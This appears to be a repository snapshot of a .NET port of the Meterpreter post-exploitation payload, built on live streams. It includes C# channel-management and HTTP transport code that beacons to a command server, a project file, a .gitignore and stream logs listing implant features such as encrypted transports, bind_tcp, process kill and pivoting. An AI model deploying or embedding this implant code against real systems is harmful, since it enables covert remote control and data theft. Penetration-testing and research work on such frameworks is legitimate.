Func handler = null; 124 | 125 | if (this.channelCreators.TryGetValue(channelType, out handler)) 126 | { 127 | var newChannel = handler(this, request, response); 128 | 129 | if (newChannel != null) 130 | { 131 | this.Manage(newChannel); 132 | response.Add(TlvType.ChannelId, newChannel.ChannelId); 133 | response.Result = PacketResult.Success; 134 | } 135 | } 136 | else 137 | { 138 | System.Diagnostics.Debug.WriteLine(string.Format("[core_channel_open] unable to create type {0}", channelType)); 139 | } 140 | return InlineProcessingResult.Continue; 141 | } 142 | 143 | private void ChannelClosed(object sender, EventArgs e) 144 | { 145 | var channel = (Channel)sender; 146 | var packet = new Packet("core_channel_close"); 147 | packet.Add(TlvType.ChannelId, channel.ChannelId); 148 | this.Dispatch(packet); 149 | this.activeChannels.Remove(channel.ChannelId); 150 | } 151 | } 152 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Custom stuff 2 | *~* 3 | *.swp 4 | 5 | ## Ignore Visual Studio temporary files, build results, and 6 | ## files generated by popular Visual Studio add-ons. 7 | ## 8 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 9 | 10 | # User-specific files 11 | *.suo 12 | *.user 13 | *.userosscache 14 | *.sln.docstates 15 | 16 | # User-specific files (MonoDevelop/Xamarin Studio) 17 | *.userprefs 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | bld/ 27 | [Bb]in/ 28 | [Oo]bj/ 29 | [Ll]og/ 30 | 31 | # Visual Studio 2015/2017 cache/options directory 32 | .vs/ 33 | # Uncomment if you have tasks that create the project's static files in wwwroot 34 | #wwwroot/ 35 | 36 | # Visual Studio 2017 auto generated files 37 | Generated\ Files/ 38 | 39 | # MSTest test Results 40 | [Tt]est[Rr]esult*/ 41 | [Bb]uild[Ll]og.* 42 | 43 | # NUNIT 44 | *.VisualState.xml 45 | TestResult.xml 46 | 47 | # Build Results of an ATL Project 48 | [Dd]ebugPS/ 49 | [Rr]eleasePS/ 50 | dlldata.c 51 | 52 | # Benchmark Results 53 | BenchmarkDotNet.Artifacts/ 54 | 55 | # .NET Core 56 | project.lock.json 57 | project.fragment.lock.json 58 | artifacts/ 59 | **/Properties/launchSettings.json 60 | 61 | # StyleCop 62 | StyleCopReport.xml 63 | 64 | # Files built by Visual Studio 65 | *_i.c 66 | *_p.c 67 | *_i.h 68 | *.ilk 69 | *.meta 70 | *.obj 71 | *.iobj 72 | *.pch 73 | *.pdb 74 | *.ipdb 75 | *.pgc 76 | *.pgd 77 | *.rsp 78 | *.sbr 79 | *.tlb 80 | *.tli 81 | *.tlh 82 | *.tmp 83 | *.tmp_proj 84 | *.log 85 | *.vspscc 86 | *.vssscc 87 | .builds 88 | *.pidb 89 | *.svclog 90 | *.scc 91 | 92 | # Chutzpah Test files 93 | _Chutzpah* 94 | 95 | # Visual C++ cache files 96 | ipch/ 97 | *.aps 98 | *.ncb 99 | *.opendb 100 | *.opensdf 101 | *.sdf 102 | *.cachefile 103 | *.VC.db 104 | *.VC.VC.opendb 105 | 106 | # Visual Studio profiler 107 | *.psess 108 | *.vsp 109 | *.vspx 110 | *.sap 111 | 112 | # Visual Studio Trace Files 113 | *.e2e 114 | 115 | # TFS 2012 Local Workspace 116 | $tf/ 117 | 118 | # Guidance Automation Toolkit 119 | *.gpState 120 | 121 | # ReSharper is a .NET coding add-in 122 | _ReSharper*/ 123 | *.[Rr]e[Ss]harper 124 | *.DotSettings.user 125 | 126 | # JustCode is a .NET coding add-in 127 | .JustCode 128 | 129 | # TeamCity is a build add-in 130 | _TeamCity* 131 | 132 | # DotCover is a Code Coverage Tool 133 | *.dotCover 134 | 135 | # AxoCover is a Code Coverage Tool 136 | .axoCover/* 137 | !.axoCover/settings.json 138 | 139 | # Visual Studio code coverage results 140 | *.coverage 141 | *.coveragexml 142 | 143 | # NCrunch 144 | _NCrunch_* 145 | .*crunch*.local.xml 146 | nCrunchTemp_* 147 | 148 | # MightyMoose 149 | *.mm.* 150 | AutoTest.Net/ 151 | 152 | # Web workbench (sass) 153 | .sass-cache/ 154 | 155 | # Installshield output folder 156 | [Ee]xpress/ 157 | 158 | # DocProject is a documentation generator add-in 159 | DocProject/buildhelp/ 160 | DocProject/Help/*.HxT 161 | DocProject/Help/*.HxC 162 | DocProject/Help/*.hhc 163 | DocProject/Help/*.hhk 164 | DocProject/Help/*.hhp 165 | DocProject/Help/Html2 166 | DocProject/Help/html 167 | 168 | # Click-Once directory 169 | publish/ 170 | 171 | # Publish Web Output 172 | *.[Pp]ublish.xml 173 | *.azurePubxml 174 | # Note: Comment the next line if you want to checkin your web deploy settings, 175 | # but database connection strings (with potential passwords) will be unencrypted 176 | *.pubxml 177 | *.publishproj 178 | 179 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 180 | # checkin your Azure Web App publish settings, but sensitive information contained 181 | # in these scripts will be unencrypted 182 | PublishScripts/ 183 | 184 | # NuGet Packages 185 | *.nupkg 186 | # The packages folder can be ignored because of Package Restore 187 | **/[Pp]ackages/* 188 | # except build/, which is used as an MSBuild target. 189 | !**/[Pp]ackages/build/ 190 | # Uncomment if necessary however generally it will be regenerated when needed 191 | #!**/[Pp]ackages/repositories.config 192 | # NuGet v3's project.json files produces more ignorable files 193 | *.nuget.props 194 | *.nuget.targets 195 | 196 | # Microsoft Azure Build Output 197 | csx/ 198 | *.build.csdef 199 | 200 | # Microsoft Azure Emulator 201 | ecf/ 202 | rcf/ 203 | 204 | # Windows Store app package directories and files 205 | AppPackages/ 206 | BundleArtifacts/ 207 | Package.StoreAssociation.xml 208 | _pkginfo.txt 209 | *.appx 210 | 211 | # Visual Studio cache files 212 | # files ending in .cache can be ignored 213 | *.[Cc]ache 214 | # but keep track of directories ending in .cache 215 | !*.[Cc]ache/ 216 | 217 | # Others 218 | ClientBin/ 219 | ~$* 220 | *~ 221 | *.dbmdl 222 | *.dbproj.schemaview 223 | *.jfm 224 | *.pfx 225 | *.publishsettings 226 | orleans.codegen.cs 227 | 228 | # Including strong name files can present a security risk 229 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 230 | #*.snk 231 | 232 | # Since there are multiple workflows, uncomment next line to ignore bower_components 233 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 234 | #bower_components/ 235 | 236 | # RIA/Silverlight projects 237 | Generated_Code/ 238 | 239 | # Backup & report files from converting an old project file 240 | # to a newer Visual Studio version. Backup files are not needed, 241 | # because we have git ;-) 242 | _UpgradeReport_Files/ 243 | Backup*/ 244 | UpgradeLog*.XML 245 | UpgradeLog*.htm 246 | ServiceFabricBackup/ 247 | *.rptproj.bak 248 | 249 | # SQL Server files 250 | *.mdf 251 | *.ldf 252 | *.ndf 253 | 254 | # Business Intelligence projects 255 | *.rdl.data 256 | *.bim.layout 257 | *.bim_*.settings 258 | *.rptproj.rsuser 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush 299 | .cr/ 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | -------------------------------------------------------------------------------- /Parts-21-to-30.md: -------------------------------------------------------------------------------- 1 | # Part 21 - 15 July 2019 @ 20:00 AEST 2 | 3 | Managed to bash out a few smaller features, and it was nice to not have epic fails on stream for once. We did deliberately avoid some of the stickier issues, but we'll get around to those on a later stream. Things we implemented: 4 | 5 | * Get/Set of transport timeouts 6 | * File system separator detection 7 | * Envirnoment variable extraction 8 | * Local time information (including time zone and UTC offset) 9 | 10 | We'll be tackling channel management on a future stream, and probably one that's going to go for more than two hours! 11 | 12 | [Vimeo](https://vimeo.com/348152283) - [YouTube](https://youtu.be/EmhslnJ7Ljg) 13 | 14 | # Part 22 - 22 July 2019 @ 20:00 AEST 15 | 16 | More features done! We implemened `getpid`, which was a no-brainer, but then worked through the pain of `kill`, which behind the scenes relied on the ability to call `ps`, so we implemented that as best we could. It wasn't nice though. 17 | 18 | Thanks [@atwolf](https://twitter.com/atwolf) for capturing [the best moment of the stream](https://clips.twitch.tv/SpicyRamshackleCasetteWow). 19 | 20 | [Vimeo](https://vimeo.com/349435899) - [YouTube](https://youtu.be/H4HRblDpCrs) 21 | 22 | # Part 23 - 29 July 2019 @ 19:30 AEST 23 | 24 | Worked through some more STDAPI features tonight, mostly revolving around file system related things (such as working folders, creating and removing directories, etc). We ended up trying to implement the first pass of `ls` which requried `stat` functionality. That turned out to be painful, but we're close to finishing that off. We ended up getting close but failed at the last hurdle where we're trying to serialize the STAT BUF complex type. We'll get this sorted on the next stream. 25 | 26 | [Vimeo](https://vimeo.com/350724825) - [YouTube](https://youtu.be/fstk2GW_L-o) 27 | 28 | # Part 24 - 6 August 2019 @ 10:00 AEST 29 | 30 | First of the streams done in the morning! Fixed up the file stat functionality, and finally made the first version of the `ls` command work. We don't yet support globbing, so that will work down the track. At least we finished on a positive note! I did go down a couple of debugging paths that I didn't need to go down, but hey. It was a good learning experience for us all on how not to do things :) 31 | 32 | [Vimeo](https://vimeo.com/352175807) - [YouTube](https://youtu.be/Ktows-47jAs) 33 | 34 | # Part 25 - 12 August 2019 @ 20:00 AEST 35 | 36 | Great stream tonight. Was happy with the result. We managed to get the globbing functionality finished in the `ls` command, and also bashed out support for: 37 | 38 | * MD5 and SHA1 checksums 39 | * File delete, move and copy 40 | * Showing local drives/mounts 41 | 42 | I skipped on the `search` function for now because that's going to be a bit of a PITA to implement. Might have to dedicate a whole stream to it. 43 | 44 | Attendence was really good. We had some very old faces, very new faces, and very regular faces show up. The chat was really fun and constant. Hope to see you all on the next one too! 45 | 46 | [Vimeo](https://vimeo.com/353346087) - [YouTube](https://youtu.be/EdlU3of_dM0) 47 | 48 | # Part 26 - 2 September 2019 @ 20:00 AEST 49 | 50 | Good to be back at it tonight after a couple of weeks off (thanks to work and sickness). We got some stuff done. We tidied up a bunch of code (formalised the Pokemon stuff, and moved PInvoke to it's own area), which made me a lot happier. We then made some effort to "properly" support the two CLR versions, and that resulted in a bunch of changes on the MSF and Rex-Arch side. Finally we started work on support for `shutdown` and `reboot` commands, which as you can imagine took longer than expected. We'll aim to finish that off as part of next stream. 51 | 52 | [Rex-Arch commit](https://github.com/OJ/rex-arch/commit/281aaee0c5d148b9d45fe687815c013e8576e680) - [MSF Commit](https://github.com/OJ/metasploit-framework/commit/bf07d7ddfadab3b58b1765fcfb3c65dd5541dc82) - [Vimeo](https://vimeo.com/357335886) - [YouTube](https://youtu.be/EKKgJ7c1bqc) 53 | 54 | # Part 27 - 11 September 2019 @ 08:30 AEST 55 | 56 | This morning we started working on adding HTTP transport. It actually went quite well. We got started in the MSF side and implemented the basic payloads/handler stuff. Then we wired up some of the code on the Meterpreter side. We had to rebase our CLR code in MSF onto the current master branch because of a database issue, but that wasn't a huge problem. We did a little bit of refactoring so that we could reuse chunks of code, but the "pain" of the implementation was actually surprisingly low. We have got to the point where the comms works just fine, but we need to do some more work on the MSF side to make a few things wire up automatically. 57 | 58 | Next stream we'll probably finalise this stuff, add HTTPS support (which should be super easy) and finalise all the transport-related core functions. 59 | 60 | [MSF Commit](https://github.com/OJ/metasploit-framework/commit/a797a14b6c833b88ed71d41b2e7248c308ff5714) - [Vimeo](https://vimeo.com/359186482) - [YouTube](https://youtu.be/uF6ZPqyCLjs) 61 | 62 | # Part 28 - 16 September 2019 @ 20:00 AEST 63 | 64 | Tonight we finished off support for HTTP and HTTPS transports in both CLR 2 and 4. Good night, despite some of the pain that we felt. Clearly some of the nicer features of .NET are in the later versions, such as being able to validate SSL certificates on a per-request basis. 65 | 66 | There's still more to do, and we'll aim to cover that off in the next stream. The first thing we'll do is add certificate hash validation to SSL so that we know we're close to feature parity with the native version. We also need to finish wiring in (and testing) other properties such as user agents (which we missed on tonight's stream). Oh well, such is life! 67 | 68 | [MSF Commit](https://github.com/OJ/metasploit-framework/commit/5aff55f1d0f6cd623733485ca2bf5ac7cb988540) - [Vimeo](https://vimeo.com/360255369) - [YouTube](https://youtu.be/Nn92F9uLo3Y) 69 | 70 | # Part 29 - 30 October 2019 @ 19:30 AEST 71 | 72 | After well over a month we got back into some development, and I think it went really well. The plan was to work through transport-related stuff after getting HTTP/HTTPS transprots working last time. 73 | 74 | First up, we made sure that our transports were able to support resiliency. This means that MSF can go down and the transports are able to correctly reconnect to the listeners when they come back up. 75 | 76 | Once we had that in place, the aim was to move closer to the "transport add" functionality, but it made sense to add "transport list" first because we could use that for debugging. We got that done with a little bit of refactoring! 77 | 78 | Next stream we'll aim to finalise the transport commands, and from there we may be in a position to get started on channels! 79 | 80 | [Vimeo](https://vimeo.com/369797347) - [YouTube](https://youtu.be/klMWcViWWgs) 81 | 82 | # Part 30 - 07 November 2019 @ 09:00 AEST 83 | 84 | Today we implemented `bind_tcp`, and made sure that it worked as a "resilient" transport. From there we added support to add transports on the fly (of all types) and also validated that they get invoked correctly when transports fail (so that they rollover as you would expect). 85 | 86 | We may have to quickly address the listing functionality to make sure that what's shown is indicative of what's going on behind the scenes. We'll cover that in the next stream when we add support for removing transports. 87 | 88 | [MSF Commit](https://github.com/OJ/metasploit-framework/commit/7708060c8444e6f1b01cca95334b0aa2ef8e4a55) - [Vimeo](https://vimeo.com/371523266) - [YouTube](https://youtu.be/uCTdsL14c8c) 89 | -------------------------------------------------------------------------------- /src/metsrv.net40/metsrv.net40.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {67C09D37-AC18-4F15-8DD6-B5DA721C0DF6} 8 | Library 9 | Properties 10 | Met.Core 11 | metsrv.net40 12 | v4.0 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | ..\bin\Debug\ 20 | TRACE;DEBUG;NET40 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | ..\bin\Release\ 28 | TRACE;NET40 29 | prompt 30 | 4 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | Channel.cs 44 | 45 | 46 | ChannelManager.cs 47 | 48 | 49 | CommandHandler.cs 50 | 51 | 52 | Extensions\BinaryReaderExtensions.cs 53 | 54 | 55 | Extensions\BinaryWriterExtensions.cs 56 | 57 | 58 | Extensions\ByteArrayExtensions.cs 59 | 60 | 61 | Extensions\DateTimeExtensions.cs 62 | 63 | 64 | Extensions\EnumExtensions.cs 65 | 66 | 67 | Extensions\FileSystemExtensions.cs 68 | 69 | 70 | Extensions\IEnumerableExtensions.cs 71 | 72 | 73 | Extensions\ObjectExtensions.cs 74 | 75 | 76 | Extensions\ProcessExtensions.cs 77 | 78 | 79 | Extensions\RSACryptoServiceProviderExtensions.cs 80 | 81 | 82 | Extensions\TlvDictionaryExtensions.cs 83 | 84 | 85 | Extensions\UnicastIPAddressInformationExtensions.cs 86 | 87 | 88 | FileSystemFeature.cs 89 | 90 | 91 | Helpers.cs 92 | 93 | 94 | IPacketDispatcher.cs 95 | 96 | 97 | IPlugin.cs 98 | 99 | 100 | Native\Advapi32.cs 101 | 102 | 103 | Native\Kernel32.cs 104 | 105 | 106 | Native\Mpr.cs 107 | 108 | 109 | Native\Ntdll.cs 110 | 111 | 112 | Native\User32.cs 113 | 114 | 115 | PivotManager.cs 116 | 117 | 118 | Pivot\NamedPipePivot.cs 119 | 120 | 121 | Pivot\NamedPipePivotListener.cs 122 | 123 | 124 | Pivot\Pivot.cs 125 | 126 | 127 | Pivot\PivotEventArgs.cs 128 | 129 | 130 | Pivot\PivotListener.cs 131 | 132 | 133 | PluginManager.cs 134 | 135 | 136 | Proto\ITlv.cs 137 | 138 | 139 | Proto\Packet.cs 140 | 141 | 142 | Proto\PacketEncryptor.cs 143 | 144 | 145 | Proto\Tlv.cs 146 | 147 | 148 | Server.cs 149 | 150 | 151 | Session.cs 152 | 153 | 154 | Trans\HttpTransport.cs 155 | 156 | 157 | Trans\ITransport.cs 158 | 159 | 160 | Trans\TcpTransport.cs 161 | 162 | 163 | Trans\TransportConfig.cs 164 | 165 | 166 | 167 | 168 | 169 | copy /y $(TargetPath) Z:\meterpreter.net\ 170 | 171 | -------------------------------------------------------------------------------- /Parts-11-to-20.md: -------------------------------------------------------------------------------- 1 | # Part 11 - 17 May 2019 @ 20:00 AEST 2 | 3 | Fixed reading of payloads off the wire, got to the point where we could invoke Met.Core.Server and we're close to being able to dispatch packets. 4 | 5 | [Agenda](../master/streams/2019-05-17-Part-11/agenda.md) - [MSF Commit](https://github.com/OJ/metasploit-framework/commit/0154aa70903019eda1c7fd6e28d799922cf7f584) - [Vimeo](https://vimeo.com/336789460) - [YouTube](https://youtu.be/D03bc0dz01o) 6 | 7 | # Part 12 - 23 May 2019 @ 20:00 AEST 8 | 9 | I was all over the place tonight. Stumbled on a case where we need to support compressed data, but took ages to figure out why. Re-added flags attributes to the MetaType as we caused a few issues removing it in the past. We've got some handling in place for core commands, and will look to fill it out further when done. More to come. We're in the weeds at the moment but we'll start coming out of them soon to do the good stuff. Next stream we'll implement support for compression and rewrite some stuff on the MSF side. 10 | 11 | [Vimeo](https://vimeo.com/337992280) - [YouTube](https://youtu.be/UQbGfzvCLrs) 12 | 13 | 14 | # Part 13 - 24 May 2019 @ 20:00 AEST 15 | 16 | Wow, that was ... frustrating! We did make progress in the end though. In this stream we moved the CLR payload and session code in MSF so that it was no longer associated with the `windows` platform. As a result, we ended up going down an awful rabbit hole to try to understand why things broke and how to fix them. Thankfully we had it figured out in the end, but it took a while. The big things to remember from this exercise are: 17 | 18 | * Ruby is awful. 19 | * MSF's error handling doesn't give you the information you need to fix things (most of the time). 20 | * "Strongly" typed classes are required for individual platforms. 21 | * Don't forget to add any new platforms to the likes of `multi/handler` or you end up with errors saying that your payload isn't correct! 22 | 23 | It was fun nevertheless. We got to the point where we had created a stdapi instance, and were attempting to load it on the fly. We haven't got there yet though. Things we need to address include: 24 | 25 | * Making sure that type references back to `metsrv` work so that the assemblies loaded on the fly can find the right types. 26 | * Storing the CLR version with the session/listener information so that we load the right payload off disk down the track when we get to the point where we have `net40` in place as well. 27 | 28 | [MSF Commit](https://github.com/OJ/metasploit-framework/commit/8cd16bc43b26e8ce98b99c72c5c3f8cae269fe9c) - [Rex Arch Commit](https://github.com/OJ/rex-arch/commit/46519f5533be959b94b5b03f6dcc665139bb2619) - [Vimeo](https://vimeo.com/338247816) - [YouTube](https://youtu.be/RGWseXls72w) 29 | 30 | # Part 14 - 10 Jun 2019 @ 20:00 AEST 31 | 32 | In this stream we managed to get the plugin system working with assembly resolution events. We rejigged the dispatcher so that we can support blocking and non blocking events. We adjusted the callbacks so that they can tell the caller whether or not to exit, and we added initial support for `getuid`. Progress! 33 | 34 | [MSF Commit](https://github.com/OJ/metasploit-framework/commit/7f6540f7b56f582bc350fde2ab92bddec1b29e32) - [Vimeo](https://vimeo.com/341324902) - [YouTube](https://youtu.be/D4X5sGKpAXk) 35 | 36 | # Part 15 - 13 Jun 2019 @ 20:00 AEST 37 | 38 | More progress tonight, working through some of the stdapi function calls so that MSF sees our new CLR sessions as valid sessions. The next few streams are going to be more of the same as we pad features out slowly. 39 | 40 | [Vimeo](https://vimeo.com/342007094) - [YouTube](https://youtu.be/iOq5KAKzRBw) 41 | 42 | # Part 16 - 17 Jun 2019 @ 20:00 AEST 43 | 44 | On this stream we went back to fill in the P/Invoke approach. We explored how it worked, and why we wanted to hide it away. The result was that we were able to get it working in a way that allowed for the functionality to be enabled at runtime rather than compile time. The goal of the next stream is to abstract this functionality away into something reusable, while also adding full support for loading the dynamic types into another app domain. 45 | 46 | [Vimeo](https://vimeo.com/342722147) - [YouTube](https://youtu.be/Mxv-_Y2CDpE) 47 | 48 | # Part 17 - 20 Jun 2019 @ 20:00 AEST 49 | 50 | Collectively we decided to support TLV encryption. We quickly found that for some reason .NET doesn't natively support parsing PEM-formatted public keys, and so (ironically) we ended up having to steal an open-source implementation that used the native crypto APIs via P/Invoke (ugh). This code looked to work in a similar way to how the native Meterpreter PEM parsing worked. So we basically stole someone else's code. Yay! I didn't have to write it again, that's a huge win. 51 | 52 | From there we butted heads against AES encryption before finishing the stream late. In short, we didn't get it working, but we're very close. 53 | 54 | As soon as I finished streaming I realised what was wrong. Two things: 55 | 56 | 1. I was using the wrong padding (it should have been ISO10126). 57 | 1. I was decrypting the packet body _before_ XOR'ing it with the key, which was resulting in absolute garbage. 58 | 59 | A quick local test showed that as soon as fixed that up, things "just worked". I reverted those changes (but left some comments in) so that we can finish it off on stream next week. 60 | 61 | [Vimeo](https://vimeo.com/343435543) - [YouTube](https://youtu.be/c2bQ7xc3wlY) 62 | 63 | # Part 18 - 24 Jun 2019 @ 20:30 AEST 64 | 65 | We managed to fix up the TLV encryption code, and thankfully saw a functional Meterpreter session using TLV encryption. Metasploit even sees it as valid. We went back to the default padding algorithm though, as I was wrong about that at the end of the previous stream. 66 | 67 | Once getting that working we moved on to sorting out the version detection code, only to get bitten by our use of `RtlGetVersion`. Just like last time, I figured out exactly what was going wrong within seconds of killing the stream. Note: make sure you understand the difference between `out` (ie. "I'll give you a thing") and `ref` (ie. "You give me a thing and I'll fill it") parameters. We used the former and should have used the latter. 68 | 69 | We'll get that fixed at the start of the next stream. 70 | 71 | [Vimeo](https://vimeo.com/344077231) - [YouTube](https://youtu.be/rXPAOO7SHok) 72 | 73 | # Part 19 - 1 July 2019 @ 20:00 AEST 74 | 75 | As promised we fixed up the issue with the use of `ref` vs `out` and that got us going with the version information. From there, I wanted to move onto finishing off the network interface enumeration (avoiding the use of P/Invoke as we went). I intended to use a native Meterpreter as a baseline and so fired up a standard session to see what the output was. Unfortunately for me, that uncovered an issue in the implementations of `core_enumextcmd` and `core_loadlib` (I assumed that the return type of the commands was the same, and it was not!). We dived into the MSF side for a while to fix that up before moving back onto the network interface enumeration. 76 | 77 | We nearly finished it, but didn't quite get there. I have a good feeling we'll nail that on the next stream and get going with more stdapi functionality after. 78 | 79 | [MSF Commit](https://github.com/OJ/metasploit-framework/commit/3d32f5e14a8c7dfd245bc5d55c5a66cf16eda375) - [Vimeo](https://vimeo.com/345456148) - [YouTube](https://youtu.be/_IOoPGH_E20) 80 | 81 | # Part 20 - 8 July 2019 @ 20:00 AEST 82 | 83 | I deem this stream a successful failure. We clearly noticed a few nuances in the mess that is the MSF parsing of network interfaces, and we're going to have to put a proper fix in place at some point down the track. We did, however, get a few things done including some hackery around reflection so that we could reach inner workings such as prefix length on interfaces, because for some reason they're not nicely exposed until .NET 4.8. 84 | 85 | One cool thing we did get working was the .NET 4.0 version of the binaries, though in the process we butted up against the TODO item of "make this binary suffix thing work" in MSF. We'll get to that on the next stream I think. 86 | 87 | Good fun, we learned stuff! 88 | 89 | [Vimeo](https://vimeo.com/346844232) - [YouTube](https://youtu.be/yThzBM63zPE) 90 | -------------------------------------------------------------------------------- /src/metsrv.net35/Trans/HttpTransport.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using Met.Core.Proto; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.IO; 6 | using System.Net; 7 | using System.Net.Security; 8 | using System.Security.Cryptography.X509Certificates; 9 | 10 | namespace Met.Core.Trans 11 | { 12 | public class HttpTransport : ITransport 13 | { 14 | private const int UA_SIZE = 256; 15 | private const int PROXY_HOST_SIZE = 128; 16 | private const int PROXY_USER_SIZE = 64; 17 | private const int PROXY_PASS_SIZE = 64; 18 | private const int CERT_HASH_SIZE = 20; 19 | 20 | private Session session = null; 21 | private WebClient webClient = null; 22 | private bool sslHooked = false; 23 | private Queue incomingPackets = null; 24 | 25 | public TransportConfig Config { get; private set; } 26 | public string ProxyHost { get; private set; } 27 | public string ProxyUser { get; private set; } 28 | public string ProxyPass { get; private set; } 29 | public string UserAgent { get; private set; } 30 | public byte[] CertHash { get; private set; } 31 | public string CustomHeaders { get; private set; } 32 | 33 | public bool IsConnected { get; private set; } 34 | 35 | private WebClient WebClient 36 | { 37 | get 38 | { 39 | return this.webClient = this.webClient ?? CreateWebClient(); 40 | } 41 | } 42 | 43 | public HttpTransport(TransportConfig config, Session session) 44 | { 45 | this.Config = config; 46 | this.session = session; 47 | this.incomingPackets = new Queue(); 48 | } 49 | 50 | public void Configure(Packet request) 51 | { 52 | this.ProxyHost = request.Tlvs.TryGetTlvValueAsString(TlvType.TransProxyHost); 53 | this.ProxyUser = request.Tlvs.TryGetTlvValueAsString(TlvType.TransProxyUser); 54 | this.ProxyPass = request.Tlvs.TryGetTlvValueAsString(TlvType.TransProxyPass); 55 | this.UserAgent = request.Tlvs.TryGetTlvValueAsString(TlvType.TransUa); 56 | this.CertHash = request.Tlvs.TryGetTlvValueAsRaw(TlvType.TransCertHash); 57 | this.CustomHeaders = request.Tlvs.TryGetTlvValueAsString(TlvType.TransHeaders); 58 | } 59 | 60 | public void Configure(BinaryReader reader) 61 | { 62 | this.ProxyHost = reader.ReadWideString(PROXY_HOST_SIZE); 63 | this.ProxyUser = reader.ReadWideString(PROXY_USER_SIZE); 64 | this.ProxyPass = reader.ReadWideString(PROXY_PASS_SIZE); 65 | this.UserAgent = reader.ReadWideString(UA_SIZE); 66 | this.CertHash = reader.ReadBytes(CERT_HASH_SIZE); 67 | this.CustomHeaders = reader.ReadNullTerminatedWideString(); 68 | } 69 | 70 | public bool Connect() 71 | { 72 | AddSslVerificationHook(); 73 | 74 | var packet = ReceivePacket(); 75 | 76 | if (packet != null) 77 | { 78 | this.incomingPackets.Enqueue(packet); 79 | this.IsConnected = true; 80 | } 81 | else 82 | { 83 | RemoveSslVerificationHook(); 84 | } 85 | 86 | return this.IsConnected; 87 | } 88 | 89 | public void Disconnect() 90 | { 91 | RemoveSslVerificationHook(); 92 | this.IsConnected = false; 93 | } 94 | 95 | public void Dispose() 96 | { 97 | Disconnect(); 98 | } 99 | 100 | public void Wrap(WebClient webClient) 101 | { 102 | this.webClient = webClient; 103 | } 104 | 105 | public void GetConfig(ITlv tlv) 106 | { 107 | this.Config.GetConfig(tlv); 108 | if (!string.IsNullOrEmpty(this.UserAgent)) 109 | { 110 | tlv.Add(TlvType.TransUa, this.UserAgent); 111 | } 112 | 113 | if (!string.IsNullOrEmpty(this.ProxyHost)) 114 | { 115 | tlv.Add(TlvType.TransProxyHost, this.ProxyHost); 116 | } 117 | 118 | if (!string.IsNullOrEmpty(this.ProxyUser)) 119 | { 120 | tlv.Add(TlvType.TransProxyUser, this.ProxyUser); 121 | } 122 | 123 | if (!string.IsNullOrEmpty(this.ProxyPass)) 124 | { 125 | tlv.Add(TlvType.TransProxyPass, this.ProxyPass); 126 | } 127 | 128 | if (!string.IsNullOrEmpty(this.CustomHeaders)) 129 | { 130 | tlv.Add(TlvType.TransHeaders, this.CustomHeaders); 131 | } 132 | 133 | if (this.CertHash != null) 134 | { 135 | tlv.Add(TlvType.TransCertHash, this.CertHash); 136 | } 137 | } 138 | 139 | public Packet ReceivePacket() 140 | { 141 | return ReceivePacket(null); 142 | } 143 | 144 | public Packet ReceivePacket(PacketEncryptor packetEncryptor) 145 | { 146 | if (this.incomingPackets.Count > 0) 147 | { 148 | return this.incomingPackets.Dequeue(); 149 | } 150 | 151 | try 152 | { 153 | var tlvData = this.WebClient.DownloadData(this.Config.Uri); 154 | var delay = 0; 155 | var failCount = 0; 156 | 157 | while (tlvData.Length == 0) 158 | { 159 | delay = 10 * failCount; 160 | ++failCount; 161 | System.Threading.Thread.Sleep(Math.Min(10000, delay)); 162 | tlvData = this.WebClient.DownloadData(this.Config.Uri); 163 | } 164 | 165 | using (var tlvStream = new MemoryStream(tlvData)) 166 | using (var reader = new BinaryReader(tlvStream)) 167 | { 168 | return new Packet(reader, packetEncryptor); 169 | } 170 | } 171 | catch(Exception e) 172 | { 173 | // something went wrong, bail out 174 | } 175 | 176 | return null; 177 | } 178 | 179 | public void SendPacket(byte[] responsePacket) 180 | { 181 | var wc = CreateWebClient(); 182 | wc.UploadData(this.Config.Uri, responsePacket); 183 | } 184 | 185 | private void AddSslVerificationHook() 186 | { 187 | if (!this.sslHooked) 188 | { 189 | ServicePointManager.ServerCertificateValidationCallback += SslValidator; 190 | this.sslHooked = true; 191 | } 192 | } 193 | 